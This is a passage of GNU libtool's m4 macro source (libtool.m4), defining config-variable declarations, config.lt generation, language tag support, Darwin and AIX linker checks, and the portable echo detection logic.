lt_dict_add_subkey([lt_decl_dict], [$2], [value], [$3]) m4_ifval([$4], [lt_dict_add_subkey([lt_decl_dict], [$2], [description], [$4])]) lt_dict_add_subkey([lt_decl_dict], [$2], [tagged?], [m4_ifval([$5], [yes], [no])])]) ]) # _LT_TAGDECL([CONFIGNAME], VARNAME, VALUE, [DESCRIPTION]) # -------------------------------------------------------- m4_define([_LT_TAGDECL], [_LT_DECL([$1], [$2], [$3], [$4], [yes])]) # lt_decl_tag_varnames([SEPARATOR], [VARNAME1...]) # ------------------------------------------------ m4_define([lt_decl_tag_varnames], [_lt_decl_filter([tagged?], [yes], $@)]) # _lt_decl_filter(SUBKEY, VALUE, [SEPARATOR], [VARNAME1..]) # --------------------------------------------------------- m4_define([_lt_decl_filter], [m4_case([$#], [0], [m4_fatal([$0: too few arguments: $#])], [1], [m4_fatal([$0: too few arguments: $#: $1])], [2], [lt_dict_filter([lt_decl_dict], [$1], [$2], [], lt_decl_varnames)], [3], [lt_dict_filter([lt_decl_dict], [$1], [$2], [$3], lt_decl_varnames)], [lt_dict_filter([lt_decl_dict], $@)])[]dnl ]) # lt_decl_quote_varnames([SEPARATOR], [VARNAME1...]) # -------------------------------------------------- m4_define([lt_decl_quote_varnames], [_lt_decl_filter([value], [1], $@)]) # lt_decl_dquote_varnames([SEPARATOR], [VARNAME1...]) # --------------------------------------------------- m4_define([lt_decl_dquote_varnames], [_lt_decl_filter([value], [2], $@)]) # lt_decl_varnames_tagged([SEPARATOR], [VARNAME1...]) # --------------------------------------------------- m4_define([lt_decl_varnames_tagged], [m4_assert([$# <= 2])dnl _$0(m4_quote(m4_default([$1], [[, ]])), m4_ifval([$2], [[$2]], [m4_dquote(lt_decl_tag_varnames)]), m4_split(m4_normalize(m4_quote(_LT_TAGS)), [ ]))]) m4_define([_lt_decl_varnames_tagged], [m4_ifval([$3], [lt_combine([$1], [$2], [_], $3)])]) # lt_decl_all_varnames([SEPARATOR], [VARNAME1...]) # ------------------------------------------------ m4_define([lt_decl_all_varnames], [_$0(m4_quote(m4_default([$1], [[, ]])), m4_if([$2], [], m4_quote(lt_decl_varnames), m4_quote(m4_shift($@))))[]dnl ]) m4_define([_lt_decl_all_varnames], [lt_join($@, lt_decl_varnames_tagged([$1], lt_decl_tag_varnames([[, ]], m4_shift($@))))dnl ]) # _LT_CONFIG_STATUS_DECLARE([VARNAME]) # ------------------------------------ # Quote a variable value, and forward it to `config.status' so that its # declaration there will have the same value as in `configure'. VARNAME # must have a single quote delimited value for this to work. m4_define([_LT_CONFIG_STATUS_DECLARE], [$1='`$ECHO "X$][$1" | $Xsed -e "$delay_single_quote_subst"`']) # _LT_CONFIG_STATUS_DECLARATIONS # ------------------------------ # We delimit libtool config variables with single quotes, so when # we write them to config.status, we have to be sure to quote all # embedded single quotes properly. In configure, this macro expands # each variable declared with _LT_DECL (and _LT_TAGDECL) into: # # ='`$ECHO "X$" | $Xsed -e "$delay_single_quote_subst"`' m4_defun([_LT_CONFIG_STATUS_DECLARATIONS], [m4_foreach([_lt_var], m4_quote(lt_decl_all_varnames), [m4_n([_LT_CONFIG_STATUS_DECLARE(_lt_var)])])]) # _LT_LIBTOOL_TAGS # ---------------- # Output comment and list of tags supported by the script m4_defun([_LT_LIBTOOL_TAGS], [_LT_FORMAT_COMMENT([The names of the tagged configurations supported by this script])dnl available_tags="_LT_TAGS"dnl ]) # _LT_LIBTOOL_DECLARE(VARNAME, [TAG]) # ----------------------------------- # Extract the dictionary values for VARNAME (optionally with TAG) and # expand to a commented shell variable setting: # # # Some comment about what VAR is for. # visible_name=$lt_internal_name m4_define([_LT_LIBTOOL_DECLARE], [_LT_FORMAT_COMMENT(m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [description])))[]dnl m4_pushdef([_libtool_name], m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [libtool_name])))[]dnl m4_case(m4_quote(lt_dict_fetch([lt_decl_dict], [$1], [value])), [0], [_libtool_name=[$]$1], [1], [_libtool_name=$lt_[]$1], [2], [_libtool_name=$lt_[]$1], [_libtool_name=lt_dict_fetch([lt_decl_dict], [$1], [value])])[]dnl m4_ifval([$2], [_$2])[]m4_popdef([_libtool_name])[]dnl ]) # _LT_LIBTOOL_CONFIG_VARS # ----------------------- # Produce commented declarations of non-tagged libtool config variables # suitable for insertion in the LIBTOOL CONFIG section of the `libtool' # script. Tagged libtool config variables (even for the LIBTOOL CONFIG # section) are produced by _LT_LIBTOOL_TAG_VARS. m4_defun([_LT_LIBTOOL_CONFIG_VARS], [m4_foreach([_lt_var], m4_quote(_lt_decl_filter([tagged?], [no], [], lt_decl_varnames)), [m4_n([_LT_LIBTOOL_DECLARE(_lt_var)])])]) # _LT_LIBTOOL_TAG_VARS(TAG) # ------------------------- m4_define([_LT_LIBTOOL_TAG_VARS], [m4_foreach([_lt_var], m4_quote(lt_decl_tag_varnames), [m4_n([_LT_LIBTOOL_DECLARE(_lt_var, [$1])])])]) # _LT_TAGVAR(VARNAME, [TAGNAME]) # ------------------------------ m4_define([_LT_TAGVAR], [m4_ifval([$2], [$1_$2], [$1])]) # _LT_CONFIG_COMMANDS # ------------------- # Send accumulated output to $CONFIG_STATUS. Thanks to the lists of # variables for single and double quote escaping we saved from calls # to _LT_DECL, we can put quote escaped variables declarations # into `config.status', and then the shell code to quote escape them in # for loops in `config.status'. Finally, any additional code accumulated # from calls to _LT_CONFIG_LIBTOOL_INIT is expanded. m4_defun([_LT_CONFIG_COMMANDS], [AC_PROVIDE_IFELSE([LT_OUTPUT], dnl If the libtool generation code has been placed in $CONFIG_LT, dnl instead of duplicating it all over again into config.status, dnl then we will have config.status run $CONFIG_LT later, so it dnl needs to know what name is stored there: [AC_CONFIG_COMMANDS([libtool], [$SHELL $CONFIG_LT || AS_EXIT(1)], [CONFIG_LT='$CONFIG_LT'])], dnl If the libtool generation code is destined for config.status, dnl expand the accumulated commands and init code now: [AC_CONFIG_COMMANDS([libtool], [_LT_OUTPUT_LIBTOOL_COMMANDS], [_LT_OUTPUT_LIBTOOL_COMMANDS_INIT])]) ])#_LT_CONFIG_COMMANDS # Initialize. m4_define([_LT_OUTPUT_LIBTOOL_COMMANDS_INIT], [ # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH sed_quote_subst='$sed_quote_subst' double_quote_subst='$double_quote_subst' delay_variable_subst='$delay_variable_subst' _LT_CONFIG_STATUS_DECLARATIONS LTCC='$LTCC' LTCFLAGS='$LTCFLAGS' compiler='$compiler_DEFAULT' # Quote evaled strings. for var in lt_decl_all_varnames([[ \ ]], lt_decl_quote_varnames); do case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in *[[\\\\\\\`\\"\\\$]]*) eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$sed_quote_subst\\"\\\`\\\\\\"" ;; *) eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" ;; esac done # Double-quote double-evaled strings. for var in lt_decl_all_varnames([[ \ ]], lt_decl_dquote_varnames); do case \`eval \\\\\$ECHO "X\\\\\$\$var"\` in *[[\\\\\\\`\\"\\\$]]*) eval "lt_\$var=\\\\\\"\\\`\\\$ECHO \\"X\\\$\$var\\" | \\\$Xsed -e \\"\\\$double_quote_subst\\" -e \\"\\\$sed_quote_subst\\" -e \\"\\\$delay_variable_subst\\"\\\`\\\\\\"" ;; *) eval "lt_\$var=\\\\\\"\\\$\$var\\\\\\"" ;; esac done # Fix-up fallback echo if it was mangled by the above quoting rules. case \$lt_ECHO in *'\\\[$]0 --fallback-echo"')dnl " lt_ECHO=\`\$ECHO "X\$lt_ECHO" | \$Xsed -e 's/\\\\\\\\\\\\\\\[$]0 --fallback-echo"\[$]/\[$]0 --fallback-echo"/'\` ;; esac _LT_OUTPUT_LIBTOOL_INIT ]) # LT_OUTPUT # --------- # This macro allows early generation of the libtool script (before # AC_OUTPUT is called), incase it is used in configure for compilation # tests. AC_DEFUN([LT_OUTPUT], [: ${CONFIG_LT=./config.lt} AC_MSG_NOTICE([creating $CONFIG_LT]) cat >"$CONFIG_LT" <<_LTEOF #! $SHELL # Generated by $as_me. # Run this file to recreate a libtool stub with the current configuration. lt_cl_silent=false SHELL=\${CONFIG_SHELL-$SHELL} _LTEOF cat >>"$CONFIG_LT" <<\_LTEOF AS_SHELL_SANITIZE _AS_PREPARE exec AS_MESSAGE_FD>&1 exec AS_MESSAGE_LOG_FD>>config.log { echo AS_BOX([Running $as_me.]) } >&AS_MESSAGE_LOG_FD lt_cl_help="\ \`$as_me' creates a local libtool stub from the current configuration, for use in further configure time tests before the real libtool is generated. Usage: $[0] [[OPTIONS]] -h, --help print this help, then exit -V, --version print version number, then exit -q, --quiet do not print progress messages -d, --debug don't remove temporary files Report bugs to ." lt_cl_version="\ m4_ifset([AC_PACKAGE_NAME], [AC_PACKAGE_NAME ])config.lt[]dnl m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION]) configured by $[0], generated by m4_PACKAGE_STRING. Copyright (C) 2008 Free Software Foundation, Inc. This config.lt script is free software; the Free Software Foundation gives unlimited permision to copy, distribute and modify it." while test $[#] != 0 do case $[1] in --version | --v* | -V ) echo "$lt_cl_version"; exit 0 ;; --help | --h* | -h ) echo "$lt_cl_help"; exit 0 ;; --debug | --d* | -d ) debug=: ;; --quiet | --q* | --silent | --s* | -q ) lt_cl_silent=: ;; -*) AC_MSG_ERROR([unrecognized option: $[1] Try \`$[0] --help' for more information.]) ;; *) AC_MSG_ERROR([unrecognized argument: $[1] Try \`$[0] --help' for more information.]) ;; esac shift done if $lt_cl_silent; then exec AS_MESSAGE_FD>/dev/null fi _LTEOF cat >>"$CONFIG_LT" <<_LTEOF _LT_OUTPUT_LIBTOOL_COMMANDS_INIT _LTEOF cat >>"$CONFIG_LT" <<\_LTEOF AC_MSG_NOTICE([creating $ofile]) _LT_OUTPUT_LIBTOOL_COMMANDS AS_EXIT(0) _LTEOF chmod +x "$CONFIG_LT" # configure is writing to config.log, but config.lt does its own redirection, # appending to config.log, which fails on DOS, as config.log is still kept # open by configure. Here we exec the FD to /dev/null, effectively closing # config.log, so it can be properly (re)opened and appended to by config.lt. if test "$no_create" != yes; then lt_cl_success=: test "$silent" = yes && lt_config_lt_args="$lt_config_lt_args --quiet" exec AS_MESSAGE_LOG_FD>/dev/null $SHELL "$CONFIG_LT" $lt_config_lt_args || lt_cl_success=false exec AS_MESSAGE_LOG_FD>>config.log $lt_cl_success || AS_EXIT(1) fi ])# LT_OUTPUT # _LT_CONFIG(TAG) # --------------- # If TAG is the built-in tag, create an initial libtool script with a # default configuration from the untagged config vars. Otherwise add code # to config.status for appending the configuration named by TAG from the # matching tagged config vars. m4_defun([_LT_CONFIG], [m4_require([_LT_FILEUTILS_DEFAULTS])dnl _LT_CONFIG_SAVE_COMMANDS([ m4_define([_LT_TAG], m4_if([$1], [], [C], [$1]))dnl m4_if(_LT_TAG, [C], [ # See if we are running on zsh, and set the options which allow our # commands through without removal of \ escapes. if test -n "${ZSH_VERSION+set}" ; then setopt NO_GLOB_SUBST fi cfgfile="${ofile}T" trap "$RM \"$cfgfile\"; exit 1" 1 2 15 $RM "$cfgfile" cat <<_LT_EOF >> "$cfgfile" #! $SHELL # `$ECHO "$ofile" | sed 's%^.*/%%'` - Provide generalized library-building support services. # Generated automatically by $as_me ($PACKAGE$TIMESTAMP) $VERSION # Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`: # NOTE: Changes made to this file will be lost: look at ltmain.sh. # _LT_COPYING _LT_LIBTOOL_TAGS # ### BEGIN LIBTOOL CONFIG _LT_LIBTOOL_CONFIG_VARS _LT_LIBTOOL_TAG_VARS # ### END LIBTOOL CONFIG _LT_EOF case $host_os in aix3*) cat <<\_LT_EOF >> "$cfgfile" # AIX sometimes has problems with the GCC collect2 program. For some # reason, if we set the COLLECT_NAMES environment variable, the problems # vanish in a puff of smoke. if test "X${COLLECT_NAMES+set}" != Xset; then COLLECT_NAMES= export COLLECT_NAMES fi _LT_EOF ;; esac _LT_PROG_LTMAIN # We use sed instead of cat because bash on DJGPP gets confused if # if finds mixed CR/LF and LF-only lines. Since sed operates in # text mode, it properly converts lines to CR/LF. This bash problem # is reportedly fixed, but why not run on old versions too? sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \ || (rm -f "$cfgfile"; exit 1) _LT_PROG_XSI_SHELLFNS sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \ || (rm -f "$cfgfile"; exit 1) mv -f "$cfgfile" "$ofile" || (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile") chmod +x "$ofile" ], [cat <<_LT_EOF >> "$ofile" dnl Unfortunately we have to use $1 here, since _LT_TAG is not expanded dnl in a comment (ie after a #). # ### BEGIN LIBTOOL TAG CONFIG: $1 _LT_LIBTOOL_TAG_VARS(_LT_TAG) # ### END LIBTOOL TAG CONFIG: $1 _LT_EOF ])dnl /m4_if ], [m4_if([$1], [], [ PACKAGE='$PACKAGE' VERSION='$VERSION' TIMESTAMP='$TIMESTAMP' RM='$RM' ofile='$ofile'], []) ])dnl /_LT_CONFIG_SAVE_COMMANDS ])# _LT_CONFIG # LT_SUPPORTED_TAG(TAG) # --------------------- # Trace this macro to discover what tags are supported by the libtool # --tag option, using: # autoconf --trace 'LT_SUPPORTED_TAG:$1' AC_DEFUN([LT_SUPPORTED_TAG], []) # C support is built-in for now m4_define([_LT_LANG_C_enabled], []) m4_define([_LT_TAGS], []) # LT_LANG(LANG) # ------------- # Enable libtool support for the given language if not already enabled. AC_DEFUN([LT_LANG], [AC_BEFORE([$0], [LT_OUTPUT])dnl m4_case([$1], [C], [_LT_LANG(C)], [C++], [_LT_LANG(CXX)], [Java], [_LT_LANG(GCJ)], [Fortran 77], [_LT_LANG(F77)], [Fortran], [_LT_LANG(FC)], [Windows Resource], [_LT_LANG(RC)], [m4_ifdef([_LT_LANG_]$1[_CONFIG], [_LT_LANG($1)], [m4_fatal([$0: unsupported language: "$1"])])])dnl ])# LT_LANG # _LT_LANG(LANGNAME) # ------------------ m4_defun([_LT_LANG], [m4_ifdef([_LT_LANG_]$1[_enabled], [], [LT_SUPPORTED_TAG([$1])dnl m4_append([_LT_TAGS], [$1 ])dnl m4_define([_LT_LANG_]$1[_enabled], [])dnl _LT_LANG_$1_CONFIG($1)])dnl ])# _LT_LANG # _LT_LANG_DEFAULT_CONFIG # ----------------------- m4_defun([_LT_LANG_DEFAULT_CONFIG], [AC_PROVIDE_IFELSE([AC_PROG_CXX], [LT_LANG(CXX)], [m4_define([AC_PROG_CXX], defn([AC_PROG_CXX])[LT_LANG(CXX)])]) AC_PROVIDE_IFELSE([AC_PROG_F77], [LT_LANG(F77)], [m4_define([AC_PROG_F77], defn([AC_PROG_F77])[LT_LANG(F77)])]) AC_PROVIDE_IFELSE([AC_PROG_FC], [LT_LANG(FC)], [m4_define([AC_PROG_FC], defn([AC_PROG_FC])[LT_LANG(FC)])]) dnl The call to [A][M_PROG_GCJ] is quoted like that to stop aclocal dnl pulling things in needlessly. AC_PROVIDE_IFELSE([AC_PROG_GCJ], [LT_LANG(GCJ)], [AC_PROVIDE_IFELSE([A][M_PROG_GCJ], [LT_LANG(GCJ)], [AC_PROVIDE_IFELSE([LT_PROG_GCJ], [LT_LANG(GCJ)], [m4_ifdef([AC_PROG_GCJ], [m4_define([AC_PROG_GCJ], defn([AC_PROG_GCJ])[LT_LANG(GCJ)])]) m4_ifdef([A][M_PROG_GCJ], [m4_define([A][M_PROG_GCJ], defn([A][M_PROG_GCJ])[LT_LANG(GCJ)])]) m4_ifdef([LT_PROG_GCJ], [m4_define([LT_PROG_GCJ], defn([LT_PROG_GCJ])[LT_LANG(GCJ)])])])])]) AC_PROVIDE_IFELSE([LT_PROG_RC], [LT_LANG(RC)], [m4_define([LT_PROG_RC], defn([LT_PROG_RC])[LT_LANG(RC)])]) ])# _LT_LANG_DEFAULT_CONFIG # Obsolete macros: AU_DEFUN([AC_LIBTOOL_CXX], [LT_LANG(C++)]) AU_DEFUN([AC_LIBTOOL_F77], [LT_LANG(Fortran 77)]) AU_DEFUN([AC_LIBTOOL_FC], [LT_LANG(Fortran)]) AU_DEFUN([AC_LIBTOOL_GCJ], [LT_LANG(Java)]) dnl aclocal-1.4 backwards compatibility: dnl AC_DEFUN([AC_LIBTOOL_CXX], []) dnl AC_DEFUN([AC_LIBTOOL_F77], []) dnl AC_DEFUN([AC_LIBTOOL_FC], []) dnl AC_DEFUN([AC_LIBTOOL_GCJ], []) # _LT_TAG_COMPILER # ---------------- m4_defun([_LT_TAG_COMPILER], [AC_REQUIRE([AC_PROG_CC])dnl _LT_DECL([LTCC], [CC], [1], [A C compiler])dnl _LT_DECL([LTCFLAGS], [CFLAGS], [1], [LTCC compiler flags])dnl _LT_TAGDECL([CC], [compiler], [1], [A language specific compiler])dnl _LT_TAGDECL([with_gcc], [GCC], [0], [Is the compiler the GNU compiler?])dnl # If no C compiler was specified, use CC. LTCC=${LTCC-"$CC"} # If no C compiler flags were specified, use CFLAGS. LTCFLAGS=${LTCFLAGS-"$CFLAGS"} # Allow CC to be a program name with arguments. compiler=$CC ])# _LT_TAG_COMPILER # _LT_COMPILER_BOILERPLATE # ------------------------ # Check for compiler boilerplate output or warnings with # the simple compiler test code. m4_defun([_LT_COMPILER_BOILERPLATE], [m4_require([_LT_DECL_SED])dnl ac_outfile=conftest.$ac_objext echo "$lt_simple_compile_test_code" >conftest.$ac_ext eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err _lt_compiler_boilerplate=`cat conftest.err` $RM conftest* ])# _LT_COMPILER_BOILERPLATE # _LT_LINKER_BOILERPLATE # ---------------------- # Check for linker boilerplate output or warnings with # the simple link test code. m4_defun([_LT_LINKER_BOILERPLATE], [m4_require([_LT_DECL_SED])dnl ac_outfile=conftest.$ac_objext echo "$lt_simple_link_test_code" >conftest.$ac_ext eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err _lt_linker_boilerplate=`cat conftest.err` $RM -r conftest* ])# _LT_LINKER_BOILERPLATE # _LT_REQUIRED_DARWIN_CHECKS # ------------------------- m4_defun_once([_LT_REQUIRED_DARWIN_CHECKS],[ case $host_os in rhapsody* | darwin*) AC_CHECK_TOOL([DSYMUTIL], [dsymutil], [:]) AC_CHECK_TOOL([NMEDIT], [nmedit], [:]) AC_CHECK_TOOL([LIPO], [lipo], [:]) AC_CHECK_TOOL([OTOOL], [otool], [:]) AC_CHECK_TOOL([OTOOL64], [otool64], [:]) _LT_DECL([], [DSYMUTIL], [1], [Tool to manipulate archived DWARF debug symbol files on Mac OS X]) _LT_DECL([], [NMEDIT], [1], [Tool to change global to local symbols on Mac OS X]) _LT_DECL([], [LIPO], [1], [Tool to manipulate fat objects and archives on Mac OS X]) _LT_DECL([], [OTOOL], [1], [ldd/readelf like tool for Mach-O binaries on Mac OS X]) _LT_DECL([], [OTOOL64], [1], [ldd/readelf like tool for 64 bit Mach-O binaries on Mac OS X 10.4]) AC_CACHE_CHECK([for -single_module linker flag],[lt_cv_apple_cc_single_mod], [lt_cv_apple_cc_single_mod=no if test -z "${LT_MULTI_MODULE}"; then # By default we will add the -single_module flag. You can override # by either setting the environment variable LT_MULTI_MODULE # non-empty at configure time, or by adding -multi_module to the # link flags. rm -rf libconftest.dylib* echo "int foo(void){return 1;}" > conftest.c echo "$LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ -dynamiclib -Wl,-single_module conftest.c" >&AS_MESSAGE_LOG_FD $LTCC $LTCFLAGS $LDFLAGS -o libconftest.dylib \ -dynamiclib -Wl,-single_module conftest.c 2>conftest.err _lt_result=$? if test -f libconftest.dylib && test ! -s conftest.err && test $_lt_result = 0; then lt_cv_apple_cc_single_mod=yes else cat conftest.err >&AS_MESSAGE_LOG_FD fi rm -rf libconftest.dylib* rm -f conftest.* fi]) AC_CACHE_CHECK([for -exported_symbols_list linker flag], [lt_cv_ld_exported_symbols_list], [lt_cv_ld_exported_symbols_list=no save_LDFLAGS=$LDFLAGS echo "_main" > conftest.sym LDFLAGS="$LDFLAGS -Wl,-exported_symbols_list,conftest.sym" AC_LINK_IFELSE([AC_LANG_PROGRAM([],[])], [lt_cv_ld_exported_symbols_list=yes], [lt_cv_ld_exported_symbols_list=no]) LDFLAGS="$save_LDFLAGS" ]) case $host_os in rhapsody* | darwin1.[[012]]) _lt_dar_allow_undefined='${wl}-undefined ${wl}suppress' ;; darwin1.*) _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; darwin*) # darwin 5.x on # if running on 10.5 or later, the deployment target defaults # to the OS version, if on x86, and 10.4, the deployment # target defaults to 10.4. Don't you love it? case ${MACOSX_DEPLOYMENT_TARGET-10.0},$host in 10.0,*86*-darwin8*|10.0,*-darwin[[91]]*) _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; 10.[[012]]*) _lt_dar_allow_undefined='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' ;; 10.*) _lt_dar_allow_undefined='${wl}-undefined ${wl}dynamic_lookup' ;; esac ;; esac if test "$lt_cv_apple_cc_single_mod" = "yes"; then _lt_dar_single_mod='$single_module' fi if test "$lt_cv_ld_exported_symbols_list" = "yes"; then _lt_dar_export_syms=' ${wl}-exported_symbols_list,$output_objdir/${libname}-symbols.expsym' else _lt_dar_export_syms='~$NMEDIT -s $output_objdir/${libname}-symbols.expsym ${lib}' fi if test "$DSYMUTIL" != ":"; then _lt_dsymutil='~$DSYMUTIL $lib || :' else _lt_dsymutil= fi ;; esac ]) # _LT_DARWIN_LINKER_FEATURES # -------------------------- # Checks for linker and compiler features on darwin m4_defun([_LT_DARWIN_LINKER_FEATURES], [ m4_require([_LT_REQUIRED_DARWIN_CHECKS]) _LT_TAGVAR(archive_cmds_need_lc, $1)=no _LT_TAGVAR(hardcode_direct, $1)=no _LT_TAGVAR(hardcode_automatic, $1)=yes _LT_TAGVAR(hardcode_shlibpath_var, $1)=unsupported _LT_TAGVAR(whole_archive_flag_spec, $1)='' _LT_TAGVAR(link_all_deplibs, $1)=yes _LT_TAGVAR(allow_undefined_flag, $1)="$_lt_dar_allow_undefined" case $cc_basename in ifort*) _lt_dar_can_shared=yes ;; *) _lt_dar_can_shared=$GCC ;; esac if test "$_lt_dar_can_shared" = "yes"; then output_verbose_link_cmd=echo _LT_TAGVAR(archive_cmds, $1)="\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring $_lt_dar_single_mod${_lt_dsymutil}" _LT_TAGVAR(module_cmds, $1)="\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dsymutil}" _LT_TAGVAR(archive_expsym_cmds, $1)="sed 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \$libobjs \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring ${_lt_dar_single_mod}${_lt_dar_export_syms}${_lt_dsymutil}" _LT_TAGVAR(module_expsym_cmds, $1)="sed -e 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC \$allow_undefined_flag -o \$lib -bundle \$libobjs \$deplibs \$compiler_flags${_lt_dar_export_syms}${_lt_dsymutil}" m4_if([$1], [CXX], [ if test "$lt_cv_apple_cc_single_mod" != "yes"; then _LT_TAGVAR(archive_cmds, $1)="\$CC -r -keep_private_externs -nostdlib -o \${lib}-master.o \$libobjs~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \${lib}-master.o \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring${_lt_dsymutil}" _LT_TAGVAR(archive_expsym_cmds, $1)="sed 's,^,_,' < \$export_symbols > \$output_objdir/\${libname}-symbols.expsym~\$CC -r -keep_private_externs -nostdlib -o \${lib}-master.o \$libobjs~\$CC -dynamiclib \$allow_undefined_flag -o \$lib \${lib}-master.o \$deplibs \$compiler_flags -install_name \$rpath/\$soname \$verstring${_lt_dar_export_syms}${_lt_dsymutil}" fi ],[]) else _LT_TAGVAR(ld_shlibs, $1)=no fi ]) # _LT_SYS_MODULE_PATH_AIX # ----------------------- # Links a minimal program and checks the executable # for the system default hardcoded library path. In most cases, # this is /usr/lib:/lib, but when the MPI compilers are used # the location of the communication and MPI libs are included too. # If we don't find anything, use the default library path according # to the aix ld manual. m4_defun([_LT_SYS_MODULE_PATH_AIX], [m4_require([_LT_DECL_SED])dnl AC_LINK_IFELSE(AC_LANG_PROGRAM,[ lt_aix_libpath_sed=' /Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/ p } }' aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` # Check for a 64-bit object if we didn't find anything. if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"` fi],[]) if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi ])# _LT_SYS_MODULE_PATH_AIX # _LT_SHELL_INIT(ARG) # ------------------- m4_define([_LT_SHELL_INIT], [ifdef([AC_DIVERSION_NOTICE], [AC_DIVERT_PUSH(AC_DIVERSION_NOTICE)], [AC_DIVERT_PUSH(NOTICE)]) $1 AC_DIVERT_POP ])# _LT_SHELL_INIT # _LT_PROG_ECHO_BACKSLASH # ----------------------- # Add some code to the start of the generated configure script which # will find an echo command which doesn't interpret backslashes. m4_defun([_LT_PROG_ECHO_BACKSLASH], [_LT_SHELL_INIT([ # Check that we are running under the correct shell. SHELL=${CONFIG_SHELL-/bin/sh} case X$lt_ECHO in X*--fallback-echo) # Remove one level of quotation (which was required for Make). ECHO=`echo "$lt_ECHO" | sed 's,\\\\\[$]\\[$]0,'[$]0','` ;; esac ECHO=${lt_ECHO-echo} if test "X[$]1" = X--no-reexec; then # Discard the --no-reexec flag, and continue. shift elif test "X[$]1" = X--fallback-echo; then # Avoid inline document here, it may be left over : elif test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' ; then # Yippee, $ECHO works! : else # Restart under the correct shell. exec $SHELL "[$]0" --no-reexec ${1+"[$]@"} fi if test "X[$]1" = X--fallback-echo; then # used as fallback echo shift cat <<_LT_EOF [$]* _LT_EOF exit 0 fi # The HP-UX ksh and POSIX shell print the target directory to stdout # if CDPATH is set. (unset CDPATH) >/dev/null 2>&1 && unset CDPATH if test -z "$lt_ECHO"; then if test "X${echo_test_string+set}" != Xset; then # find a string as large as possible, as long as the shell can cope with it for cmd in 'sed 50q "[$]0"' 'sed 20q "[$]0"' 'sed 10q "[$]0"' 'sed 2q "[$]0"' 'echo test'; do # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... if { echo_test_string=`eval $cmd`; } 2>/dev/null && { test "X$echo_test_string" = "X$echo_test_string"; } 2>/dev/null then break fi done fi if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then : else # The Solaris, AIX, and Digital Unix default echo programs unquote # backslashes. This makes it impossible to quote backslashes using # echo "$something" | sed 's/\\/\\\\/g' # # So, first we look for a working echo in the user's PATH. lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR for dir in $PATH /usr/ucb; do IFS="$lt_save_ifs" if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && test "X`($dir/echo '\t') 2>/dev/null`" = 'X\t' && echo_testing_string=`($dir/echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then ECHO="$dir/echo" break fi done IFS="$lt_save_ifs" if test "X$ECHO" = Xecho; then # We didn't find a better echo, so look for alternatives. if test "X`{ print -r '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ print -r "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then # This shell has a builtin print -r that does the trick. ECHO='print -r' elif { test -f /bin/ksh || test -f /bin/ksh$ac_exeext; } && test "X$CONFIG_SHELL" != X/bin/ksh; then # If we have ksh, try running configure again with it. ORIGINAL_CONFIG_SHELL=${CONFIG_SHELL-/bin/sh} export ORIGINAL_CONFIG_SHELL CONFIG_SHELL=/bin/ksh export CONFIG_SHELL exec $CONFIG_SHELL "[$]0" --no-reexec ${1+"[$]@"} else # Try using printf. ECHO='printf %s\n' if test "X`{ $ECHO '\t'; } 2>/dev/null`" = 'X\t' && echo_testing_string=`{ $ECHO "$echo_test_string"; } 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then # Cool, printf works : elif echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && test "X$echo_testing_string" = 'X\t' && echo_testing_string=`($ORIGINAL_CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && test "X$echo_testing_string" = "X$echo_test_string"; then CONFIG_SHELL=$ORIGINAL_CONFIG_SHELL export CONFIG_SHELL SHELL="$CONFIG_SHELL" export SHELL ECHO="$CONFIG_SHELL [$]0 --fallback-echo" elif echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo '\t') 2>/dev/null` && test "X$echo_testing_string" = 'X\t' && echo_testing_string=`($CONFIG_SHELL "[$]0" --fallback-echo "$echo_test_string") 2>/dev/null` && test 